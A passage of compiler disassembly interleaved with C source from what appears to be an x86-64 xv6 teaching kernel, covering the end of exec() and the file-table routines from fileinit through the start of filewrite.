ustack[2] = sp - (argc+1)*sizeof(addr_t); // argv pointer
ffff800000101930: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000101934: 48 83 c0 01 add $0x1,%rax
ffff800000101938: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff80000010193f: 00
ffff800000101940: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff800000101944: 48 29 d0 sub %rdx,%rax
ffff800000101947: 48 89 85 a0 fe ff ff mov %rax,-0x160(%rbp)
proc->tf->rdi = argc;
ffff80000010194e: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000101955: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000101959: 48 8b 40 28 mov 0x28(%rax),%rax
ffff80000010195d: 48 8b 55 e0 mov -0x20(%rbp),%rdx
ffff800000101961: 48 89 50 30 mov %rdx,0x30(%rax)
proc->tf->rsi = sp - (argc+1)*sizeof(addr_t);
ffff800000101965: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000101969: 48 83 c0 01 add $0x1,%rax
ffff80000010196d: 48 8d 0c c5 00 00 00 lea 0x0(,%rax,8),%rcx
ffff800000101974: 00
ffff800000101975: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff80000010197c: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000101980: 48 8b 40 28 mov 0x28(%rax),%rax
ffff800000101984: 48 8b 55 d0 mov -0x30(%rbp),%rdx
ffff800000101988: 48 29 ca sub %rcx,%rdx
ffff80000010198b: 48 89 50 28 mov %rdx,0x28(%rax)
sp -= (3+argc+1) * sizeof(addr_t);
ffff80000010198f: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000101993: 48 83 c0 04 add $0x4,%rax
ffff800000101997: 48 c1 e0 03 shl $0x3,%rax
ffff80000010199b: 48 29 45 d0 sub %rax,-0x30(%rbp)
if(copyout(pgdir, sp, ustack, (3+argc+1)*sizeof(addr_t)) < 0)
ffff80000010199f: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff8000001019a3: 48 83 c0 04 add $0x4,%rax
ffff8000001019a7: 48 8d 0c c5 00 00 00 lea 0x0(,%rax,8),%rcx
ffff8000001019ae: 00
ffff8000001019af: 48 8d 95 90 fe ff ff lea -0x170(%rbp),%rdx
ffff8000001019b6: 48 8b 75 d0 mov -0x30(%rbp),%rsi
ffff8000001019ba: 48 8b 45 c0 mov -0x40(%rbp),%rax
ffff8000001019be: 48 89 c7 mov %rax,%rdi
ffff8000001019c1: 48 b8 99 c0 10 00 00 movabs $0xffff80000010c099,%rax
ffff8000001019c8: 80 ff ff
ffff8000001019cb: ff d0 callq *%rax
ffff8000001019cd: 85 c0 test %eax,%eax
ffff8000001019cf: 0f 88 37 01 00 00 js ffff800000101b0c <exec+0x5cf>
goto bad;
// Save program name for debugging.
for(last=s=path; *s; s++)
ffff8000001019d5: 48 8b 85 08 fe ff ff mov -0x1f8(%rbp),%rax
ffff8000001019dc: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff8000001019e0: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001019e4: 48 89 45 f0 mov %rax,-0x10(%rbp)
ffff8000001019e8: eb 1c jmp ffff800000101a06 <exec+0x4c9>
if(*s == '/')
ffff8000001019ea: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001019ee: 0f b6 00 movzbl (%rax),%eax
ffff8000001019f1: 3c 2f cmp $0x2f,%al
ffff8000001019f3: 75 0c jne ffff800000101a01 <exec+0x4c4>
last = s+1;
ffff8000001019f5: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001019f9: 48 83 c0 01 add $0x1,%rax
ffff8000001019fd: 48 89 45 f0 mov %rax,-0x10(%rbp)
for(last=s=path; *s; s++)
ffff800000101a01: 48 83 45 f8 01 addq $0x1,-0x8(%rbp)
ffff800000101a06: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000101a0a: 0f b6 00 movzbl (%rax),%eax
ffff800000101a0d: 84 c0 test %al,%al
ffff800000101a0f: 75 d9 jne ffff8000001019ea <exec+0x4ad>
safestrcpy(proc->name, last, sizeof(proc->name));
ffff800000101a11: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000101a18: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000101a1c: 48 8d 88 d0 00 00 00 lea 0xd0(%rax),%rcx
ffff800000101a23: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000101a27: ba 10 00 00 00 mov $0x10,%edx
ffff800000101a2c: 48 89 c6 mov %rax,%rsi
ffff800000101a2f: 48 89 cf mov %rcx,%rdi
ffff800000101a32: 48 b8 d3 7e 10 00 00 movabs $0xffff800000107ed3,%rax
ffff800000101a39: 80 ff ff
ffff800000101a3c: ff d0 callq *%rax
// Commit to the user image.
proc->pgdir = pgdir;
ffff800000101a3e: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000101a45: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000101a49: 48 8b 55 c0 mov -0x40(%rbp),%rdx
ffff800000101a4d: 48 89 50 08 mov %rdx,0x8(%rax)
proc->sz = sz;
ffff800000101a51: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000101a58: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000101a5c: 48 8b 55 d8 mov -0x28(%rbp),%rdx
ffff800000101a60: 48 89 10 mov %rdx,(%rax)
proc->tf->rip = elf.entry; // main
ffff800000101a63: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000101a6a: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000101a6e: 48 8b 40 28 mov 0x28(%rax),%rax
ffff800000101a72: 48 8b 95 68 fe ff ff mov -0x198(%rbp),%rdx
ffff800000101a79: 48 89 90 88 00 00 00 mov %rdx,0x88(%rax)
proc->tf->rcx = elf.entry;
ffff800000101a80: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000101a87: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000101a8b: 48 8b 40 28 mov 0x28(%rax),%rax
ffff800000101a8f: 48 8b 95 68 fe ff ff mov -0x198(%rbp),%rdx
ffff800000101a96: 48 89 50 10 mov %rdx,0x10(%rax)
proc->tf->rsp = sp;
ffff800000101a9a: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000101aa1: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000101aa5: 48 8b 40 28 mov 0x28(%rax),%rax
ffff800000101aa9: 48 8b 55 d0 mov -0x30(%rbp),%rdx
ffff800000101aad: 48 89 90 a0 00 00 00 mov %rdx,0xa0(%rax)
switchuvm(proc);
ffff800000101ab4: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000101abb: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000101abf: 48 89 c7 mov %rax,%rdi
ffff800000101ac2: 48 b8 a8 b3 10 00 00 movabs $0xffff80000010b3a8,%rax
ffff800000101ac9: 80 ff ff
ffff800000101acc: ff d0 callq *%rax
freevm(oldpgdir);
ffff800000101ace: 48 8b 45 b8 mov -0x48(%rbp),%rax
ffff800000101ad2: 48 89 c7 mov %rax,%rdi
ffff800000101ad5: 48 b8 ec bb 10 00 00 movabs $0xffff80000010bbec,%rax
ffff800000101adc: 80 ff ff
ffff800000101adf: ff d0 callq *%rax
return 0;
ffff800000101ae1: b8 00 00 00 00 mov $0x0,%eax
ffff800000101ae6: eb 6f jmp ffff800000101b57 <exec+0x61a>
goto bad;
ffff800000101ae8: 90 nop
ffff800000101ae9: eb 22 jmp ffff800000101b0d <exec+0x5d0>
goto bad;
ffff800000101aeb: 90 nop
ffff800000101aec: eb 1f jmp ffff800000101b0d <exec+0x5d0>
goto bad;
ffff800000101aee: 90 nop
ffff800000101aef: eb 1c jmp ffff800000101b0d <exec+0x5d0>
goto bad;
ffff800000101af1: 90 nop
ffff800000101af2: eb 19 jmp ffff800000101b0d <exec+0x5d0>
goto bad;
ffff800000101af4: 90 nop
ffff800000101af5: eb 16 jmp ffff800000101b0d <exec+0x5d0>
goto bad;
ffff800000101af7: 90 nop
ffff800000101af8: eb 13 jmp ffff800000101b0d <exec+0x5d0>
goto bad;
ffff800000101afa: 90 nop
ffff800000101afb: eb 10 jmp ffff800000101b0d <exec+0x5d0>
goto bad;
ffff800000101afd: 90 nop
ffff800000101afe: eb 0d jmp ffff800000101b0d <exec+0x5d0>
goto bad;
ffff800000101b00: 90 nop
ffff800000101b01: eb 0a jmp ffff800000101b0d <exec+0x5d0>
goto bad;
ffff800000101b03: 90 nop
ffff800000101b04: eb 07 jmp ffff800000101b0d <exec+0x5d0>
goto bad;
ffff800000101b06: 90 nop
ffff800000101b07: eb 04 jmp ffff800000101b0d <exec+0x5d0>
goto bad;
ffff800000101b09: 90 nop
ffff800000101b0a: eb 01 jmp ffff800000101b0d <exec+0x5d0>
goto bad;
ffff800000101b0c: 90 nop
bad:
if(pgdir)
ffff800000101b0d: 48 83 7d c0 00 cmpq $0x0,-0x40(%rbp)
ffff800000101b12: 74 13 je ffff800000101b27 <exec+0x5ea>
freevm(pgdir);
ffff800000101b14: 48 8b 45 c0 mov -0x40(%rbp),%rax
ffff800000101b18: 48 89 c7 mov %rax,%rdi
ffff800000101b1b: 48 b8 ec bb 10 00 00 movabs $0xffff80000010bbec,%rax
ffff800000101b22: 80 ff ff
ffff800000101b25: ff d0 callq *%rax
if(ip){
ffff800000101b27: 48 83 7d c8 00 cmpq $0x0,-0x38(%rbp)
ffff800000101b2c: 74 24 je ffff800000101b52 <exec+0x615>
iunlockput(ip);
ffff800000101b2e: 48 8b 45 c8 mov -0x38(%rbp),%rax
ffff800000101b32: 48 89 c7 mov %rax,%rdi
ffff800000101b35: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff800000101b3c: 80 ff ff
ffff800000101b3f: ff d0 callq *%rax
end_op();
ffff800000101b41: b8 00 00 00 00 mov $0x0,%eax
ffff800000101b46: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff800000101b4d: 80 ff ff
ffff800000101b50: ff d2 callq *%rdx
}
return -1;
ffff800000101b52: b8 ff ff ff ff mov $0xffffffff,%eax
}
ffff800000101b57: c9 leaveq
ffff800000101b58: c3 retq
ffff800000101b59 <fileinit>:
struct file file[NFILE];
} ftable;
void
fileinit(void)
{
ffff800000101b59: f3 0f 1e fa endbr64
ffff800000101b5d: 55 push %rbp
ffff800000101b5e: 48 89 e5 mov %rsp,%rbp
initlock(&ftable.lock, "ftable");
ffff800000101b61: 48 be 19 c5 10 00 00 movabs $0xffff80000010c519,%rsi
ffff800000101b68: 80 ff ff
ffff800000101b6b: 48 bf e0 35 11 00 00 movabs $0xffff8000001135e0,%rdi
ffff800000101b72: 80 ff ff
ffff800000101b75: 48 b8 24 78 10 00 00 movabs $0xffff800000107824,%rax
ffff800000101b7c: 80 ff ff
ffff800000101b7f: ff d0 callq *%rax
}
ffff800000101b81: 90 nop
ffff800000101b82: 5d pop %rbp
ffff800000101b83: c3 retq
ffff800000101b84 <filealloc>:
// Allocate a file structure.
struct file*
filealloc(void)
{
ffff800000101b84: f3 0f 1e fa endbr64
ffff800000101b88: 55 push %rbp
ffff800000101b89: 48 89 e5 mov %rsp,%rbp
ffff800000101b8c: 48 83 ec 10 sub $0x10,%rsp
struct file *f;
acquire(&ftable.lock);
ffff800000101b90: 48 bf e0 35 11 00 00 movabs $0xffff8000001135e0,%rdi
ffff800000101b97: 80 ff ff
ffff800000101b9a: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff800000101ba1: 80 ff ff
ffff800000101ba4: ff d0 callq *%rax
for(f = ftable.file; f < ftable.file + NFILE; f++){
ffff800000101ba6: 48 b8 48 36 11 00 00 movabs $0xffff800000113648,%rax
ffff800000101bad: 80 ff ff
ffff800000101bb0: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000101bb4: eb 37 jmp ffff800000101bed <filealloc+0x69>
if(f->ref == 0){
ffff800000101bb6: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000101bba: 8b 40 04 mov 0x4(%rax),%eax
ffff800000101bbd: 85 c0 test %eax,%eax
ffff800000101bbf: 75 27 jne ffff800000101be8 <filealloc+0x64>
f->ref = 1;
ffff800000101bc1: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000101bc5: c7 40 04 01 00 00 00 movl $0x1,0x4(%rax)
release(&ftable.lock);
ffff800000101bcc: 48 bf e0 35 11 00 00 movabs $0xffff8000001135e0,%rdi
ffff800000101bd3: 80 ff ff
ffff800000101bd6: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000101bdd: 80 ff ff
ffff800000101be0: ff d0 callq *%rax
return f;
ffff800000101be2: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000101be6: eb 30 jmp ffff800000101c18 <filealloc+0x94>
for(f = ftable.file; f < ftable.file + NFILE; f++){
ffff800000101be8: 48 83 45 f8 28 addq $0x28,-0x8(%rbp)
ffff800000101bed: 48 b8 e8 45 11 00 00 movabs $0xffff8000001145e8,%rax
ffff800000101bf4: 80 ff ff
ffff800000101bf7: 48 39 45 f8 cmp %rax,-0x8(%rbp)
ffff800000101bfb: 72 b9 jb ffff800000101bb6 <filealloc+0x32>
}
}
release(&ftable.lock);
ffff800000101bfd: 48 bf e0 35 11 00 00 movabs $0xffff8000001135e0,%rdi
ffff800000101c04: 80 ff ff
ffff800000101c07: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000101c0e: 80 ff ff
ffff800000101c11: ff d0 callq *%rax
return 0;
ffff800000101c13: b8 00 00 00 00 mov $0x0,%eax
}
ffff800000101c18: c9 leaveq
ffff800000101c19: c3 retq
ffff800000101c1a <filedup>:
// Increment ref count for file f.
struct file*
filedup(struct file *f)
{
ffff800000101c1a: f3 0f 1e fa endbr64
ffff800000101c1e: 55 push %rbp
ffff800000101c1f: 48 89 e5 mov %rsp,%rbp
ffff800000101c22: 48 83 ec 10 sub $0x10,%rsp
ffff800000101c26: 48 89 7d f8 mov %rdi,-0x8(%rbp)
acquire(&ftable.lock);
ffff800000101c2a: 48 bf e0 35 11 00 00 movabs $0xffff8000001135e0,%rdi
ffff800000101c31: 80 ff ff
ffff800000101c34: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff800000101c3b: 80 ff ff
ffff800000101c3e: ff d0 callq *%rax
if(f->ref < 1)
ffff800000101c40: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000101c44: 8b 40 04 mov 0x4(%rax),%eax
ffff800000101c47: 85 c0 test %eax,%eax
ffff800000101c49: 7f 16 jg ffff800000101c61 <filedup+0x47>
panic("filedup");
ffff800000101c4b: 48 bf 20 c5 10 00 00 movabs $0xffff80000010c520,%rdi
ffff800000101c52: 80 ff ff
ffff800000101c55: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000101c5c: 80 ff ff
ffff800000101c5f: ff d0 callq *%rax
f->ref++;
ffff800000101c61: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000101c65: 8b 40 04 mov 0x4(%rax),%eax
ffff800000101c68: 8d 50 01 lea 0x1(%rax),%edx
ffff800000101c6b: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000101c6f: 89 50 04 mov %edx,0x4(%rax)
release(&ftable.lock);
ffff800000101c72: 48 bf e0 35 11 00 00 movabs $0xffff8000001135e0,%rdi
ffff800000101c79: 80 ff ff
ffff800000101c7c: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000101c83: 80 ff ff
ffff800000101c86: ff d0 callq *%rax
return f;
ffff800000101c88: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
ffff800000101c8c: c9 leaveq
ffff800000101c8d: c3 retq
ffff800000101c8e <fileclose>:
// Close file f. (Decrement ref count, close when reaches 0.)
void
fileclose(struct file *f)
{
ffff800000101c8e: f3 0f 1e fa endbr64
ffff800000101c92: 55 push %rbp
ffff800000101c93: 48 89 e5 mov %rsp,%rbp
ffff800000101c96: 53 push %rbx
ffff800000101c97: 48 83 ec 48 sub $0x48,%rsp
ffff800000101c9b: 48 89 7d b8 mov %rdi,-0x48(%rbp)
struct file ff;
acquire(&ftable.lock);
ffff800000101c9f: 48 bf e0 35 11 00 00 movabs $0xffff8000001135e0,%rdi
ffff800000101ca6: 80 ff ff
ffff800000101ca9: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff800000101cb0: 80 ff ff
ffff800000101cb3: ff d0 callq *%rax
if(f->ref < 1)
ffff800000101cb5: 48 8b 45 b8 mov -0x48(%rbp),%rax
ffff800000101cb9: 8b 40 04 mov 0x4(%rax),%eax
ffff800000101cbc: 85 c0 test %eax,%eax
ffff800000101cbe: 7f 16 jg ffff800000101cd6 <fileclose+0x48>
panic("fileclose");
ffff800000101cc0: 48 bf 28 c5 10 00 00 movabs $0xffff80000010c528,%rdi
ffff800000101cc7: 80 ff ff
ffff800000101cca: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000101cd1: 80 ff ff
ffff800000101cd4: ff d0 callq *%rax
if(--f->ref > 0){
ffff800000101cd6: 48 8b 45 b8 mov -0x48(%rbp),%rax
ffff800000101cda: 8b 40 04 mov 0x4(%rax),%eax
ffff800000101cdd: 8d 50 ff lea -0x1(%rax),%edx
ffff800000101ce0: 48 8b 45 b8 mov -0x48(%rbp),%rax
ffff800000101ce4: 89 50 04 mov %edx,0x4(%rax)
ffff800000101ce7: 48 8b 45 b8 mov -0x48(%rbp),%rax
ffff800000101ceb: 8b 40 04 mov 0x4(%rax),%eax
ffff800000101cee: 85 c0 test %eax,%eax
ffff800000101cf0: 7e 1b jle ffff800000101d0d <fileclose+0x7f>
release(&ftable.lock);
ffff800000101cf2: 48 bf e0 35 11 00 00 movabs $0xffff8000001135e0,%rdi
ffff800000101cf9: 80 ff ff
ffff800000101cfc: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000101d03: 80 ff ff
ffff800000101d06: ff d0 callq *%rax
ffff800000101d08: e9 b9 00 00 00 jmpq ffff800000101dc6 <fileclose+0x138>
return;
}
ff = *f;
ffff800000101d0d: 48 8b 45 b8 mov -0x48(%rbp),%rax
ffff800000101d11: 48 8b 08 mov (%rax),%rcx
ffff800000101d14: 48 8b 58 08 mov 0x8(%rax),%rbx
ffff800000101d18: 48 89 4d c0 mov %rcx,-0x40(%rbp)
ffff800000101d1c: 48 89 5d c8 mov %rbx,-0x38(%rbp)
ffff800000101d20: 48 8b 48 10 mov 0x10(%rax),%rcx
ffff800000101d24: 48 8b 58 18 mov 0x18(%rax),%rbx
ffff800000101d28: 48 89 4d d0 mov %rcx,-0x30(%rbp)
ffff800000101d2c: 48 89 5d d8 mov %rbx,-0x28(%rbp)
ffff800000101d30: 48 8b 40 20 mov 0x20(%rax),%rax
ffff800000101d34: 48 89 45 e0 mov %rax,-0x20(%rbp)
f->ref = 0;
ffff800000101d38: 48 8b 45 b8 mov -0x48(%rbp),%rax
ffff800000101d3c: c7 40 04 00 00 00 00 movl $0x0,0x4(%rax)
f->type = FD_NONE;
ffff800000101d43: 48 8b 45 b8 mov -0x48(%rbp),%rax
ffff800000101d47: c7 00 00 00 00 00 movl $0x0,(%rax)
release(&ftable.lock);
ffff800000101d4d: 48 bf e0 35 11 00 00 movabs $0xffff8000001135e0,%rdi
ffff800000101d54: 80 ff ff
ffff800000101d57: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000101d5e: 80 ff ff
ffff800000101d61: ff d0 callq *%rax
if(ff.type == FD_PIPE)
ffff800000101d63: 8b 45 c0 mov -0x40(%rbp),%eax
ffff800000101d66: 83 f8 01 cmp $0x1,%eax
ffff800000101d69: 75 1e jne ffff800000101d89 <fileclose+0xfb>
pipeclose(ff.pipe, ff.writable);
ffff800000101d6b: 0f b6 45 c9 movzbl -0x37(%rbp),%eax
ffff800000101d6f: 0f be d0 movsbl %al,%edx
ffff800000101d72: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff800000101d76: 89 d6 mov %edx,%esi
ffff800000101d78: 48 89 c7 mov %rax,%rdi
ffff800000101d7b: 48 b8 b7 61 10 00 00 movabs $0xffff8000001061b7,%rax
ffff800000101d82: 80 ff ff
ffff800000101d85: ff d0 callq *%rax
ffff800000101d87: eb 3d jmp ffff800000101dc6 <fileclose+0x138>
else if(ff.type == FD_INODE){
ffff800000101d89: 8b 45 c0 mov -0x40(%rbp),%eax
ffff800000101d8c: 83 f8 02 cmp $0x2,%eax
ffff800000101d8f: 75 35 jne ffff800000101dc6 <fileclose+0x138>
begin_op();
ffff800000101d91: b8 00 00 00 00 mov $0x0,%eax
ffff800000101d96: 48 ba ab 52 10 00 00 movabs $0xffff8000001052ab,%rdx
ffff800000101d9d: 80 ff ff
ffff800000101da0: ff d2 callq *%rdx
iput(ff.ip);
ffff800000101da2: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000101da6: 48 89 c7 mov %rax,%rdi
ffff800000101da9: 48 b8 ea 2a 10 00 00 movabs $0xffff800000102aea,%rax
ffff800000101db0: 80 ff ff
ffff800000101db3: ff d0 callq *%rax
end_op();
ffff800000101db5: b8 00 00 00 00 mov $0x0,%eax
ffff800000101dba: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff800000101dc1: 80 ff ff
ffff800000101dc4: ff d2 callq *%rdx
}
}
ffff800000101dc6: 48 83 c4 48 add $0x48,%rsp
ffff800000101dca: 5b pop %rbx
ffff800000101dcb: 5d pop %rbp
ffff800000101dcc: c3 retq
ffff800000101dcd <filestat>:
// Get metadata about file f.
int
filestat(struct file *f, struct stat *st)
{
ffff800000101dcd: f3 0f 1e fa endbr64
ffff800000101dd1: 55 push %rbp
ffff800000101dd2: 48 89 e5 mov %rsp,%rbp
ffff800000101dd5: 48 83 ec 10 sub $0x10,%rsp
ffff800000101dd9: 48 89 7d f8 mov %rdi,-0x8(%rbp)
ffff800000101ddd: 48 89 75 f0 mov %rsi,-0x10(%rbp)
if(f->type == FD_INODE){
ffff800000101de1: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000101de5: 8b 00 mov (%rax),%eax
ffff800000101de7: 83 f8 02 cmp $0x2,%eax
ffff800000101dea: 75 53 jne ffff800000101e3f <filestat+0x72>
ilock(f->ip);
ffff800000101dec: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000101df0: 48 8b 40 18 mov 0x18(%rax),%rax
ffff800000101df4: 48 89 c7 mov %rax,%rdi
ffff800000101df7: 48 b8 e8 28 10 00 00 movabs $0xffff8000001028e8,%rax
ffff800000101dfe: 80 ff ff
ffff800000101e01: ff d0 callq *%rax
stati(f->ip, st);
ffff800000101e03: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000101e07: 48 8b 40 18 mov 0x18(%rax),%rax
ffff800000101e0b: 48 8b 55 f0 mov -0x10(%rbp),%rdx
ffff800000101e0f: 48 89 d6 mov %rdx,%rsi
ffff800000101e12: 48 89 c7 mov %rax,%rdi
ffff800000101e15: 48 b8 e7 2e 10 00 00 movabs $0xffff800000102ee7,%rax
ffff800000101e1c: 80 ff ff
ffff800000101e1f: ff d0 callq *%rax
iunlock(f->ip);
ffff800000101e21: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000101e25: 48 8b 40 18 mov 0x18(%rax),%rax
ffff800000101e29: 48 89 c7 mov %rax,%rdi
ffff800000101e2c: 48 b8 7d 2a 10 00 00 movabs $0xffff800000102a7d,%rax
ffff800000101e33: 80 ff ff
ffff800000101e36: ff d0 callq *%rax
return 0;
ffff800000101e38: b8 00 00 00 00 mov $0x0,%eax
ffff800000101e3d: eb 05 jmp ffff800000101e44 <filestat+0x77>
}
return -1;
ffff800000101e3f: b8 ff ff ff ff mov $0xffffffff,%eax
}
ffff800000101e44: c9 leaveq
ffff800000101e45: c3 retq
ffff800000101e46 <fileread>:
// Read from file f.
int
fileread(struct file *f, char *addr, int n)
{
ffff800000101e46: f3 0f 1e fa endbr64
ffff800000101e4a: 55 push %rbp
ffff800000101e4b: 48 89 e5 mov %rsp,%rbp
ffff800000101e4e: 48 83 ec 30 sub $0x30,%rsp
ffff800000101e52: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff800000101e56: 48 89 75 e0 mov %rsi,-0x20(%rbp)
ffff800000101e5a: 89 55 dc mov %edx,-0x24(%rbp)
int r;
if(f->readable == 0)
ffff800000101e5d: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000101e61: 0f b6 40 08 movzbl 0x8(%rax),%eax
ffff800000101e65: 84 c0 test %al,%al
ffff800000101e67: 75 0a jne ffff800000101e73 <fileread+0x2d>
return -1;
ffff800000101e69: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000101e6e: e9 c6 00 00 00 jmpq ffff800000101f39 <fileread+0xf3>
if(f->type == FD_PIPE)
ffff800000101e73: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000101e77: 8b 00 mov (%rax),%eax
ffff800000101e79: 83 f8 01 cmp $0x1,%eax
ffff800000101e7c: 75 26 jne ffff800000101ea4 <fileread+0x5e>
return piperead(f->pipe, addr, n);
ffff800000101e7e: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000101e82: 48 8b 40 10 mov 0x10(%rax),%rax
ffff800000101e86: 8b 55 dc mov -0x24(%rbp),%edx
ffff800000101e89: 48 8b 4d e0 mov -0x20(%rbp),%rcx
ffff800000101e8d: 48 89 ce mov %rcx,%rsi
ffff800000101e90: 48 89 c7 mov %rax,%rdi
ffff800000101e93: 48 b8 d2 63 10 00 00 movabs $0xffff8000001063d2,%rax
ffff800000101e9a: 80 ff ff
ffff800000101e9d: ff d0 callq *%rax
ffff800000101e9f: e9 95 00 00 00 jmpq ffff800000101f39 <fileread+0xf3>
if(f->type == FD_INODE){
ffff800000101ea4: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000101ea8: 8b 00 mov (%rax),%eax
ffff800000101eaa: 83 f8 02 cmp $0x2,%eax
ffff800000101ead: 75 74 jne ffff800000101f23 <fileread+0xdd>
ilock(f->ip);
ffff800000101eaf: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000101eb3: 48 8b 40 18 mov 0x18(%rax),%rax
ffff800000101eb7: 48 89 c7 mov %rax,%rdi
ffff800000101eba: 48 b8 e8 28 10 00 00 movabs $0xffff8000001028e8,%rax
ffff800000101ec1: 80 ff ff
ffff800000101ec4: ff d0 callq *%rax
if((r = readi(f->ip, addr, f->off, n)) > 0)
ffff800000101ec6: 8b 4d dc mov -0x24(%rbp),%ecx
ffff800000101ec9: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000101ecd: 8b 50 20 mov 0x20(%rax),%edx
ffff800000101ed0: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000101ed4: 48 8b 40 18 mov 0x18(%rax),%rax
ffff800000101ed8: 48 8b 75 e0 mov -0x20(%rbp),%rsi
ffff800000101edc: 48 89 c7 mov %rax,%rdi
ffff800000101edf: 48 b8 51 2f 10 00 00 movabs $0xffff800000102f51,%rax
ffff800000101ee6: 80 ff ff
ffff800000101ee9: ff d0 callq *%rax
ffff800000101eeb: 89 45 fc mov %eax,-0x4(%rbp)
ffff800000101eee: 83 7d fc 00 cmpl $0x0,-0x4(%rbp)
ffff800000101ef2: 7e 13 jle ffff800000101f07 <fileread+0xc1>
f->off += r;
ffff800000101ef4: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000101ef8: 8b 50 20 mov 0x20(%rax),%edx
ffff800000101efb: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000101efe: 01 c2 add %eax,%edx
ffff800000101f00: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000101f04: 89 50 20 mov %edx,0x20(%rax)
iunlock(f->ip);
ffff800000101f07: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000101f0b: 48 8b 40 18 mov 0x18(%rax),%rax
ffff800000101f0f: 48 89 c7 mov %rax,%rdi
ffff800000101f12: 48 b8 7d 2a 10 00 00 movabs $0xffff800000102a7d,%rax
ffff800000101f19: 80 ff ff
ffff800000101f1c: ff d0 callq *%rax
return r;
ffff800000101f1e: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000101f21: eb 16 jmp ffff800000101f39 <fileread+0xf3>
}
panic("fileread");
ffff800000101f23: 48 bf 32 c5 10 00 00 movabs $0xffff80000010c532,%rdi
ffff800000101f2a: 80 ff ff
ffff800000101f2d: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000101f34: 80 ff ff
ffff800000101f37: ff d0 callq *%rax
}
ffff800000101f39: c9 leaveq
ffff800000101f3a: c3 retq
ffff800000101f3b <filewrite>:
//PAGEBREAK!
// Write to file f.
int
filewrite(struct file *f, char *addr, int n)
{
ffff800000101f3b: f3 0f 1e fa endbr64
ffff800000101f3f: 55 push %rbp
ffff800000101f40: 48 89 e5 mov %rsp,%rbp
ffff800000101f43: 48 83 ec 30 sub $0x30,%rsp
ffff800000101f47: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff800000101f4b: 48 89 75 e0 mov %rsi,-0x20(%rbp)
ffff800000101f4f: 89 55 dc mov %edx,-0x24(%rbp)
int r;
if(f->writable == 0)
ffff800000101f52: 48 8b 45 e8 mov -0x18(%rbp),%rax
